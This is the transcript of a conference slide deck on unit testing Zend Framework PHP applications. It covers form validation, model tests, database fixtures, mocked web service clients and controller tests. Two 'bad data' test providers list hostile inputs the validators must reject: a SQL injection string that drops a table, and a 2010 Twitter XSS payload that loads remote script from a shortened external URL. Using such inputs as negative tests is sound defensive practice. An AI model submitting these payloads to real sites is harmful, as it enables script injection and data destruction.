$30 off During Our Annual Pro Sale. View Details »

Unit Testing Zend Framework Apps PHPCon Poland

DragonBe
September 29, 2012

Unit Testing Zend Framework Apps PHPCon Poland

Unit testing is still considered the biggest challenge in development: everyone knows they should do it, but reality shows most developers skip it due to several reasons. With this talk I show how easy it is to unit test Zend Framework applications without loosing precious time and create top-notch apps that require little maintenance after delivery.

DragonBe

September 29, 2012
Tweet

More Decks by DragonBe

Other Decks in Technology

Transcript

  1. Unit Testing
    Zend Framework Apps
    PHPCon 2012, Poland

    View Slide

  2. View Slide

  3. Zend Webinar
    http://www.zend.com/en/resources/webinars/framework

    View Slide

  4. Any reasons not to test?

    View Slide

  5. Most common excuses
    • no time
    • not within budget
    • development team does not know how
    • tests are provided after delivery
    • …

    View Slide

  6. NO EXCUSES!

    View Slide

  7. The cost of bugs
    0
    25
    50
    75
    100
    Start Milestone1 Milestone2 Milestone3 Milestone4 Milestone5
    Bugs Costs Unittests

    View Slide

  8. Source: http://collaboration.csc.ncsu.edu/laurie/Papers/Unit_testing_cameraReady.pdf
    “10% more work during development,
    90% gain in support and maintenance”
    -- research unit testing at Microsoft

    View Slide

  9. Maintainability
    • during development
    - test will fail indicating bugs
    • after sales support
    - testing if an issue is genuine
    - fixing issues won’t break code base
    ‣ if they do, you need to fix it!
    • long term projects
    - refactoring made easy

    View Slide

  10. View Slide

  11. Confidence
    • for the developer
    - code works
    • for the manager
    - project succeeds
    • for sales / general management / share holders
    - making profit
    • for the customer
    - paying for what they want

    View Slide

  12. View Slide

  13. Unit testing ZF apps

    View Slide

  14. Setting things up

    View Slide

  15. phpunit.xml


    ./



    ../application/
    ../library/Mylib/

    ../application/




    View Slide

  16. TestHelper.php
    // set our app paths and environments
    define('BASE_PATH', realpath(dirname(__FILE__) . '/../'));
    define('APPLICATION_PATH', BASE_PATH . '/application');
    define('TEST_PATH', BASE_PATH . '/tests');
    define('APPLICATION_ENV', 'testing');
    // Include path
    set_include_path(
    . PATH_SEPARATOR . BASE_PATH . '/library'
    . PATH_SEPARATOR . get_include_path()
    );
    // Set the default timezone !!!
    date_default_timezone_set('Europe/Brussels');
    // We wanna catch all errors en strict warnings
    error_reporting(E_ALL|E_STRICT);
    require_once 'Zend/Application.php';
    $application = new Zend_Application(
    APPLICATION_ENV,
    APPLICATION_PATH . '/configs/application.ini'
    );
    $application->bootstrap();

    View Slide

  17. Zend_Tool since 1.11.4
    • provides
    • phpunit.xml
    • bootstrap.php
    • IndexControllerTest.php
    Ralph Schindler

    View Slide

  18. Start your engines!
    http://www.flickr.com/photos/robdunckley/3781995277

    View Slide

  19. Testing Zend_Form

    View Slide

  20. CommentForm
    Name:
    E-mail Address:
    Website:
    Comment:
    Post

    View Slide

  21. Start with the test
    class Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase
    {
    protected $_form;
    protected function setUp()
    {
    $this->_form = new Application_Form_CommentForm();
    parent::setUp();
    }
    protected function tearDown()
    {
    parent::tearDown();
    $this->_form = null;
    }
    }

    View Slide

  22. The good stuff
    public function goodData()
    {
    return array (
    array ('John Doe', '[email protected]',
    'http://example.com', 'test comment'),
    array ("Matthew Weier O'Phinney", '[email protected]',
    'http://weierophinney.net', 'Doing an MWOP-Test'),
    array ('D. Keith Casey, Jr.', '[email protected]',
    'http://caseysoftware.com', 'Doing a monkey dance'),
    );
    }
    /**
    * @dataProvider goodData
    */
    public function testFormAcceptsValidData($name, $email, $web, $comment)
    {
    $data = array (
    'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
    );
    $this->assertTrue($this->_form->isValid($data));
    }

    View Slide

  23. The bad stuff
    public function badData()
    {
    return array (
    array ('','','',''),
    array ("Robert'; DROP TABLES comments; --", '',
    'http://xkcd.com/327/','Little Bobby Tables'),
    array (str_repeat('x', 100000), '', '', ''),
    array ('John Doe', '[email protected]',
    "http://t.co/@\"style=\"font-size:999999999999px;\"onmouseover=
    \"$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')\"/",
    'exploit twitter 9/21/2010'),
    );
    }
    /**
    * @dataProvider badData
    */
    public function testFormRejectsBadData($name, $email, $web, $comment)
    {
    $data = array (
    'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
    );
    $this->assertFalse($this->_form->isValid($data));
    }

    View Slide

  24. Create the form class
    class Application_Form_CommentForm extends Zend_Form
    {
    public function init()
    {
    /* Form Elements & Other Definitions Here ... */
    }
    }

    View Slide

  25. Let’s run the test

    View Slide

  26. Let’s put in our elements
    class Application_Form_CommentForm extends Zend_Form
    {
    public function init()
    {
    $this->addElement('text', 'name', array (
    'Label' => 'Name', 'Required' => true));
    $this->addElement('text', 'mail', array (
    'Label' => 'E-mail Address', 'Required' => true));
    $this->addElement('text', 'web', array (
    'Label' => 'Website', 'Required' => false));
    $this->addElement('textarea', 'comment', array (
    'Label' => 'Comment', 'Required' => true));
    $this->addElement('submit', 'post', array (
    'Label' => 'Post', 'Ignore' => true));
    }
    }

    View Slide

  27. Less errors?

    View Slide

  28. Filter - Validate
    $this->addElement('text', 'name', array (
    'Label' => 'Name', 'Required' => true,
    'Filters' => array ('StringTrim', 'StripTags'),
    'Validators' => array (
    new Zftest_Validate_Mwop(),
    new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
    ));
    $this->addElement('text', 'mail', array (
    'Label' => 'E-mail Address', 'Required' => true,
    'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'),
    'Validators' => array (
    new Zend_Validate_EmailAddress(),
    new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
    ));
    $this->addElement('text', 'web', array (
    'Label' => 'Website', 'Required' => false,
    'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'),
    'Validators' => array (
    new Zend_Validate_Callback(array('Zend_Uri', 'check')),
    new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
    ));
    $this->addElement('textarea', 'comment', array (
    'Label' => 'Comment', 'Required' => true,
    'Filters' => array ('StringTrim', 'StripTags'),
    'Validators' => array (
    new Zftest_Validate_TextBox(),
    new Zend_Validate_StringLength(array ('max' => 5000))),
    ));

    View Slide

  29. Green, warm & fuzzy

    View Slide

  30. You’re a winner!
    ☑ quality code
    ☑ tested
    ☑ secure
    ☑ reusable

    View Slide

  31. Testing models

    View Slide

  32. Testing business logic
    • models contain logic
    - tied to your business
    - tied to your storage
    - tied to your resources
    • no “one size fits all” solution

    View Slide

  33. Type: data containers
    • contains structured data
    - populated through setters and getters
    • perform logic tied to it’s purpose
    - transforming data
    - filtering data
    - validating data
    • can convert into other data types
    - arrays
    - strings (JSON, serialized, xml, …)
    • are providers to other models

    View Slide

  34. Comment Class

    View Slide

  35. Writing model test
    class Application_Model_CommentTest extends PHPUnit_Framework_TestCase
    {
    protected $_comment;
    protected function setUp()
    {
    $this->_comment = new Application_Model_Comment();
    parent::setUp();
    }
    protected function tearDown()
    {
    parent::tearDown();
    $this->_comment = null;
    }
    public function testModelIsEmptyAtConstruct()
    {
    $this->assertSame(0, $this->_comment->getId());
    $this->assertNull($this->_comment->getFullName());
    $this->assertNull($this->_comment->getEmailAddress());
    $this->assertNull($this->_comment->getWebsite());
    $this->assertNull($this->_comment->getComment());
    }
    }

    View Slide

  36. This test won’t run!

    View Slide

  37. Create a simple model
    class Application_Model_Comment
    {
    protected $_id = 0; protected $_fullName; protected $_emailAddress;
    protected $_website; protected $_comment;
    public function setId($id) { $this->_id = (int) $id; return $this; }
    public function getId() { return $this->_id; }
    public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; }
    public function getFullName() { return $this->_fullName; }
    public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; }
    public function getEmailAddress() { return $this->_emailAddress; }
    public function setWebsite($website) { $this->_website = (string) $website; return $this; }
    public function getWebsite() { return $this->_website; }
    public function setComment($comment) { $this->_comment = (string) $comment; return $this; }
    public function getComment() { return $this->_comment; }
    public function populate($row) {
    if (is_array($row)) {
    $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS);
    }
    if (isset ($row->id)) $this->setId($row->id);
    if (isset ($row->fullName)) $this->setFullName($row->fullName);
    if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress);
    if (isset ($row->website)) $this->setWebsite($row->website);
    if (isset ($row->comment)) $this->setComment($row->comment);
    }
    public function toArray() {
    return array (
    'id' => $this->getId(),
    'fullName' => $this->getFullName(),
    'emailAddress' => $this->getEmailAddress(),
    'website' => $this->getWebsite(),
    'comment' => $this->getComment(),
    );
    }
    }

    View Slide

  38. We pass the test…

    View Slide

  39. Really ???

    View Slide

  40. Not all data from form!
    • model can be populated from
    - users through the form
    - data stored in the database
    - a webservice (hosted by us or others)
    • simply test it
    - by using same test scenario’s from our form

    View Slide

  41. The good stuff
    public function goodData()
    {
    return array (
    array ('John Doe', '[email protected]',
    'http://example.com', 'test comment'),
    array ("Matthew Weier O'Phinney", '[email protected]',
    'http://weierophinney.net', 'Doing an MWOP-Test'),
    array ('D. Keith Casey, Jr.', '[email protected]',
    'http://caseysoftware.com', 'Doing a monkey dance'),
    );
    }
    /**
    * @dataProvider goodData
    */
    public function testModelAcceptsValidData($name, $mail, $web, $comment)
    {
    $data = array (
    'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment,
    );
    try {
    $this->_comment->populate($data);
    } catch (Zend_Exception $e) {
    $this->fail('Unexpected exception should not be triggered');
    }
    $data['id'] = 0;
    $data['emailAddress'] = strtolower($data['emailAddress']);
    $data['website'] = strtolower($data['website']);
    $this->assertSame($this->_comment->toArray(), $data);
    }

    View Slide

  42. The bad stuff
    public function badData()
    {
    return array (
    array ('','','',''),
    array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby
    Tables'),
    array (str_repeat('x', 1000), '', '', ''),
    array ('John Doe', 'jd@example.com', "http://t.co/@\"style=\"font-size:999999999999px;
    \"onmouseover=\"$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')\"/", 'exploit twitter
    9/21/2010'),
    );
    }
    /**
    * @dataProvider badData
    */
    public function testModelRejectsBadData($name, $mail, $web, $comment)
    {
    $data = array (
    'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment,
    );
    try {
    $this->_comment->populate($data);
    } catch (Zend_Exception $e) {
    return;
    }
    $this->fail('Expected exception should be triggered');
    }

    View Slide

  43. Let’s run it

    View Slide

  44. Modify our model
    protected $_filters;
    protected $_validators;
    public function __construct($params = null)
    {
    $this->_filters = array (
    'id' => array ('Int'),
    'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)),
    'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'),
    'website' => array ('StringTrim', 'StripTags', 'StringToLower'),
    'comment' => array ('StringTrim', 'StripTags'),
    );
    $this->_validators = array (
    'id' => array ('Int'),
    'fullName' => array (
    new Zftest_Validate_Mwop(),
    new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
    ),
    'emailAddress' => array (
    'EmailAddress',
    new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
    ),
    'website' => array (
    new Zend_Validate_Callback(array('Zend_Uri', 'check')),
    new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
    ),
    'comment' => array (
    new Zftest_Validate_TextBox(),
    new Zend_Validate_StringLength(array ('max' => 5000)),
    ),
    );
    if (null !== $params) { $this->populate($params); }
    }

    View Slide

  45. Modify setters: Id & name
    public function setId($id)
    {
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('id' => $id));
    if (!$input->isValid('id')) {
    throw new Zend_Exception('Invalid ID provided');
    }
    $this->_id = (int) $input->id;
    return $this;
    }
    public function setFullName($fullName)
    {
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('fullName' => $fullName));
    if (!$input->isValid('fullName')) {
    throw new Zend_Exception('Invalid fullName provided');
    }
    $this->_fullName = (string) $input->fullName;
    return $this;
    }

    View Slide

  46. Email & website
    public function setEmailAddress($emailAddress)
    {
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('emailAddress' => $emailAddress));
    if (!$input->isValid('emailAddress')) {
    throw new Zend_Exception('Invalid emailAddress provided');
    }
    $this->_emailAddress = (string) $input->emailAddress;
    return $this;
    }
    public function setWebsite($website)
    {
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('website' => $website));
    if (!$input->isValid('website')) {
    throw new Zend_Exception('Invalid website provided');
    }
    $this->_website = (string) $input->website;
    return $this;
    }

    View Slide

  47. and comment
    public function setComment($comment)
    {
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('comment' => $comment));
    if (!$input->isValid('comment')) {
    throw new Zend_Exception('Invalid comment provided');
    }
    $this->_comment = (string) $input->comment;
    return $this;
    }

    View Slide

  48. Now we’re good!

    View Slide

  49. Testing Databases

    View Slide

  50. Integration Testing
    • database specific functionality
    - triggers
    - constraints
    - stored procedures
    - sharding/scalability
    • data input/output
    - correct encoding of data
    - transactions execution and rollback

    View Slide

  51. Points of concern
    • beware of automated data types
    - auto increment sequence ID’s
    - default values like CURRENT_TIMESTAMP
    • beware of time related issues
    - timestamp vs. datetime
    - UTC vs. local time

    View Slide

  52. The domain Model
    • Model object
    • Mapper object
    • Table gateway object
    Read more about it ‛

    View Slide

  53. Change our test class
    class Application_Model_CommentTest
    extends PHPUnit_Framework_TestCase
    becomes
    class Application_Model_CommentTest
    extends Zend_Test_PHPUnit_DatabaseTestCase

    View Slide

  54. Setting DB Testing up
    protected $_connectionMock;
    public function getConnection()
    {
    if (null === $this->_dbMock) {
    $this->bootstrap = new Zend_Application(
    APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
    $this->bootstrap->bootstrap('db');
    $db = $this->bootstrap->getBootstrap()->getResource('db');
    $this->_connectionMock = $this->createZendDbConnection(
    $db, 'zftest'
    );
    return $this->_connectionMock;
    }
    }
    public function getDataSet()
    {
    return $this->createFlatXmlDataSet(
    realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml'));
    }

    View Slide

  55. initialDataSet.xml


    id="1"
    fullName="B.A. Baracus"
    emailAddress="[email protected]"
    website="http://www.a-team.com"
    comment="I pitty the fool that doesn't test!"/>
    id="2"
    fullName="Martin Fowler"
    emailAddress="[email protected]"
    website="http://martinfowler.com/"
    comment="Models are not right or wrong; they are more or less useful."/>

    View Slide

  56. Testing SELECT
    public function testDatabaseCanBeRead()
    {
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
    $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');
    $expected = $this->createFlatXMLDataSet(
    APPLICATION_PATH . '/../tests/_files/selectDataSet.xml');
    $this->assertDataSetsEqual($expected, $ds);
    }

    View Slide

  57. selectDataSet.xml


    id="1"
    fullName="B.A. Baracus"
    emailAddress="[email protected]"
    website="http://www.a-team.com"
    comment="I pitty the fool that doesn't test!"/>
    id="2"
    fullName="Martin Fowler"
    emailAddress="[email protected]"
    website="http://martinfowler.com/"
    comment="Models are not right or wrong; they are more or less useful."/>

    View Slide

  58. Testing UPDATE
    public function testDatabaseCanBeUpdated()
    {
    $comment = new Application_Model_Comment();
    $mapper = new Application_Model_CommentMapper();
    $mapper->find(1, $comment);
    $comment->setComment('I like you picking up the challenge!');
    $mapper->save($comment);
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
    $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');
    $expected = $this->createFlatXMLDataSet(
    APPLICATION_PATH . '/../tests/_files/updateDataSet.xml');
    $this->assertDataSetsEqual($expected, $ds);
    }

    View Slide

  59. updateDataSet.xml


    id="1"
    fullName="B.A. Baracus"
    emailAddress="[email protected]"
    website="http://www.a-team.com"
    comment="I like you picking up the challenge!"/>
    id="2"
    fullName="Martin Fowler"
    emailAddress="[email protected]"
    website="http://martinfowler.com/"
    comment="Models are not right or wrong; they are more or less useful."/>

    View Slide

  60. Testing DELETE
    public function testDatabaseCanDeleteAComment()
    {
    $comment = new Application_Model_Comment();
    $mapper = new Application_Model_CommentMapper();
    $mapper->find(1, $comment)
    ->delete($comment);
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
    $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');
    $expected = $this->createFlatXMLDataSet(
    APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml');
    $this->assertDataSetsEqual($expected, $ds);
    }

    View Slide

  61. deleteDataSet.xml


    id="2"
    fullName="Martin Fowler"
    emailAddress="[email protected]"
    website="http://martinfowler.com/"
    comment="Models are not right or wrong; they are more or less useful."/>

    View Slide

  62. Testing INSERT
    public function testDatabaseCanAddAComment()
    {
    $comment = new Application_Model_Comment();
    $comment->setFullName('Michelangelo van Dam')
    ->setEmailAddress('[email protected]')
    ->setWebsite('http://www.dragonbe.com')
    ->setComment('Unit Testing, It is so addictive!!!');
    $mapper = new Application_Model_CommentMapper();
    $mapper->save($comment);
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
    $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');
    $expected = $this->createFlatXMLDataSet(
    APPLICATION_PATH . '/../tests/_files/addDataSet.xml');
    $this->assertDataSetsEqual($expected, $ds);
    }

    View Slide

  63. insertDataSet.xml


    id="1"
    fullName="B.A. Baracus"
    emailAddress="[email protected]"
    website="http://www.a-team.com"
    comment="I pitty the fool that doesn't test!"/>
    id="2"
    fullName="Martin Fowler"
    emailAddress="[email protected]"
    website="http://martinfowler.com/"
    comment="Models are not right or wrong; they are more or less useful."/>
    id="3"
    fullName="Michelangelo van Dam"
    emailAddress="[email protected]"
    website="http://www.dragonbe.com"
    comment="Unit Testing, It is so addictive!!!"/>

    View Slide

  64. Run Test

    View Slide

  65. What went wrong here?

    View Slide

  66. AUTO_INCREMENT

    View Slide

  67. Testing INSERT w/ filter
    public function testDatabaseCanAddAComment()
    {
    $comment = new Application_Model_Comment();
    $comment->setFullName('Michelangelo van Dam')
    ->setEmailAddress('[email protected]')
    ->setWebsite('http://www.dragonbe.com')
    ->setComment('Unit Testing, It is so addictive!!!');
    $mapper = new Application_Model_CommentMapper();
    $mapper->save($comment);
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
    $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');
    $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter(
    $ds, array ('comment' => array ('id')));
    $expected = $this->createFlatXMLDataSet(
    APPLICATION_PATH . '/../tests/_files/addDataSet.xml');
    $this->assertDataSetsEqual($expected, $filteredDs);
    }

    View Slide

  68. insertDataSet.xml


    fullName="B.A. Baracus"
    emailAddress="[email protected]"
    website="http://www.a-team.com"
    comment="I pitty the fool that doesn't test!"/>
    fullName="Martin Fowler"
    emailAddress="[email protected]"
    website="http://martinfowler.com/"
    comment="Models are not right or wrong; they are more or less useful."/>
    fullName="Michelangelo van Dam"
    emailAddress="[email protected]"
    website="http://www.dragonbe.com"
    comment="Unit Testing, It is so addictive!!!"/>

    View Slide

  69. Run Test

    View Slide

  70. Testing Web Services

    View Slide

  71. Web services remarks
    • you need to comply with an API
    - that will be your reference
    • You cannot always make a test-call
    - paid services per call
    - test environment is “offline”
    - network related issues

    View Slide

  72. Example: joind.in

    View Slide

  73. View Slide

  74. JoindIn Test
    class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase
    {
    protected $_joindin;
    protected $_settings;
    protected function setUp()
    {
    $this->_joindin = new Zftest_Service_Joindin();
    // using the test adapter for testing
    $client = new Zend_Http_Client();
    $client->setAdapter(new Zend_Http_Client_Adapter_Test());
    $this->_joindin->setClient($client);
    $settings = simplexml_load_file(realpath(
    APPLICATION_PATH . '/../tests/_files/settings.xml'));
    $this->_settings = $settings->joindin;
    parent::setUp();
    }
    protected function tearDown()
    {
    parent::tearDown();
    $this->_joindin = null;
    }

    View Slide

  75. JoindIn Test
    public function testJoindinCanGetUserDetails()
    {
    $expected = 'DragonBe
    username>Michelangelo van Dam19
    ID>1303248639';
    $this->_joindin->setUsername($this->_settings->username)
    ->setPassword($this->_settings->password);
    $actual = $this->_joindin->user()->getDetail();
    $this->assertXmlStringEqualsXmlString($expected, $actual);
    }
    public function testJoindinCanCheckStatus()
    {
    $date = new DateTime();
    $date->setTimezone(new DateTimeZone('UTC'));
    $client = $this->_joindin->getClient()->getAdapter()->setResponse($response);
    $expected = '' . $date-
    >format('r') . 'testing unit test';
    $actual = $this->_joindin->site()->getStatus('testing unit test');
    $this->assertXmlStringEqualsXmlString($expected, $actual);
    }

    View Slide

  76. Testing The Service

    View Slide

  77. Euh… What?
    1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails
    Failed asserting that two strings are equal.
    --- Expected
    +++ Actual
    @@ @@
    19
    - 1303248639
    + 1303250271


    View Slide

  78. And this?
    2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus
    Failed asserting that two strings are equal.
    --- Expected
    +++ Actual
    @@ @@


    - Tue, 19 Apr 2011 22:26:40 +0000
    + Tue, 19 Apr 2011 22:26:41 +0000

    View Slide

  79. Solution is right here!

    View Slide

  80. API = test scenarios

    View Slide

  81. Mocking Client Adapter
    class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase
    {
    protected $_joindin;
    protected $_settings;
    protected function setUp()
    {
    $this->_joindin = new Zftest_Service_Joindin();
    // using the test adapter for testing
    $client = new Zend_Http_Client();
    $client->setAdapter(new Zend_Http_Client_Adapter_Test());
    $this->_joindin->setClient($client);
    $settings = simplexml_load_file(realpath(
    APPLICATION_PATH . '/../tests/_files/settings.xml'));
    $this->_settings = $settings->joindin;
    parent::setUp();
    }

    View Slide

  82. JoindinUserMockTest
    public function testJoindinCanGetUserDetails()
    {
    $response = <<HTTP/1.1 200 OK
    Content-type: text/xml



    DragonBe
    Michelangelo van Dam
    19
    1303248639


    EOS;
    $client = $this->_joindin->getClient()->getAdapter()->setResponse($response);
    $expected = 'DragonBe
    username>Michelangelo van Dam191303248639
    last_login>';
    $this->_joindin->setUsername($this->_settings->username)
    ->setPassword($this->_settings->password);
    $actual = $this->_joindin->user()->getDetail();
    $this->assertXmlStringEqualsXmlString($expected, $actual);
    }

    View Slide

  83. JoindinStatusMockTest
    public function testJoindinCanCheckStatus()
    {
    $date = new DateTime();
    $date->setTimezone(new DateTimeZone('UTC'));
    $response = <<HTTP/1.1 200 OK
    Content-type: text/xml


    {$date->format('r')}
    testing unit test

    EOS;
    $client = $this->_joindin->getClient()->getAdapter()-
    >setResponse($response);
    $expected = '' . $date-
    >format('r') . 'testing unit test';
    $actual = $this->_joindin->site()->getStatus('testing unit test');
    $this->assertXmlStringEqualsXmlString($expected, $actual);
    }
    }

    View Slide

  84. Good implementation?

    View Slide

  85. Controller Testing

    View Slide

  86. When to use?
    • GOOD
    - validation of correct headers
    - track redirections
    - errors and/or exceptions
    - visitor flow (page 1 -> page 2, …)
    • NOT SO GOOD
    - validation of DOM elements on page
    - asserting (error) messages

    View Slide

  87. Form Flow

    View Slide

  88. REMARK
    • data providers can be used
    - to test valid data
    - to test invalid data
    • but we know it’s taken care of our model
    - just checking for error messages in the form

    View Slide

  89. Setting up ControllerTest
    ?php
    class IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase
    {
    public function setUp()
    {
    $this->bootstrap = new Zend_Application(
    APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
    parent::setUp();
    }

    }

    View Slide

  90. Testing Form is on Page
    public function testIndexAction()
    {
    $params = array('action' => 'index', 'controller' => 'index', 'module'
    => 'default');
    $url = $this->url($this->urlizeOptions($params));
    $this->dispatch($url);
    // assertions
    $this->assertModule($params['module']);
    $this->assertController($params['controller']);
    $this->assertAction($params['action']);
    $this->assertQueryContentContains('h1#pageTitle', 'Please leave a
    comment');
    $this->assertQueryCount('form#commentForm', 1);
    }

    View Slide

  91. Test if we hit home
    public function testSuccessAction()
    {
    $params = array('action' => 'success', 'controller' => 'index',
    'module' => 'default');
    $url = $this->url($this->urlizeOptions($params));
    $this->dispatch($url);
    // assertions
    $this->assertModule($params['module']);
    $this->assertController($params['controller']);
    $this->assertAction($params['action']);
    $this->assertRedirectTo('/');
    }

    View Slide

  92. Test Processing
    public function testProcessAction()
    {
    $testData = array (
    'name' => 'testUser',
    'mail' => '[email protected]',
    'web' => 'http://www.example.com',
    'comment' => 'This is a test comment',
    );
    $params = array('action' => 'process', 'controller' => 'index', 'module' => 'default');
    $url = $this->url($this->urlizeOptions($params));
    $this->request->setMethod('post');
    $this->request->setPost($testData);
    $this->dispatch($url);
    // assertions
    $this->assertModule($params['module']);
    $this->assertController($params['controller']);
    $this->assertAction($params['action']);
    $this->assertResponseCode(302);
    $this->assertRedirectTo('/index/success');
    $this->resetRequest();
    $this->resetResponse();
    $this->dispatch('/index/success');
    $this->assertQueryContentContains('span#fullName', $testData['name']);
    }

    View Slide

  93. Redirect test
    public function testSuccessAction()
    {
    $params = array('action' => 'success', 'controller' => 'index',
    'module' => 'default');
    $url = $this->url($this->urlizeOptions($params));
    $this->dispatch($url);
    // assertions
    $this->assertModule($params['module']);
    $this->assertController($params['controller']);
    $this->assertAction($params['action']);
    $this->assertRedirectTo('/');
    }

    View Slide

  94. Running ControllerTests

    View Slide

  95. Run All Tests

    View Slide

  96. Conclusion
    • unit testing is simple
    • no excuses not to test
    • test what counts
    - what makes you loose money if it breaks?
    • mock out whatever’s expensive
    - databases, filesystem, services, …

    View Slide

  97. Recommended  reading
    • The  Grumpy  Book
    -­‐ Chris  Hartjes

    View Slide

  98. Get the source code!
    http://github.com/DragonBe/zftest

    View Slide

  99. January 25-26, 2013 in Antwerp Belgium
    2 day conference (including tutorials)
    community driven
    low prices
    ticket sales start in November
    http://phpcon.eu | @phpbenelux

    View Slide

  100. Michelangelo van Dam
    Certified Zend Engineer
    [email protected]
    (202) 559-7401
    @DragonBe
    2
    Contact us for
    consulting - training - QA

    View Slide

  101. https://joind.in/7189
    Please leave feedback to make this talk better

    View Slide

  102. Thank you

    View Slide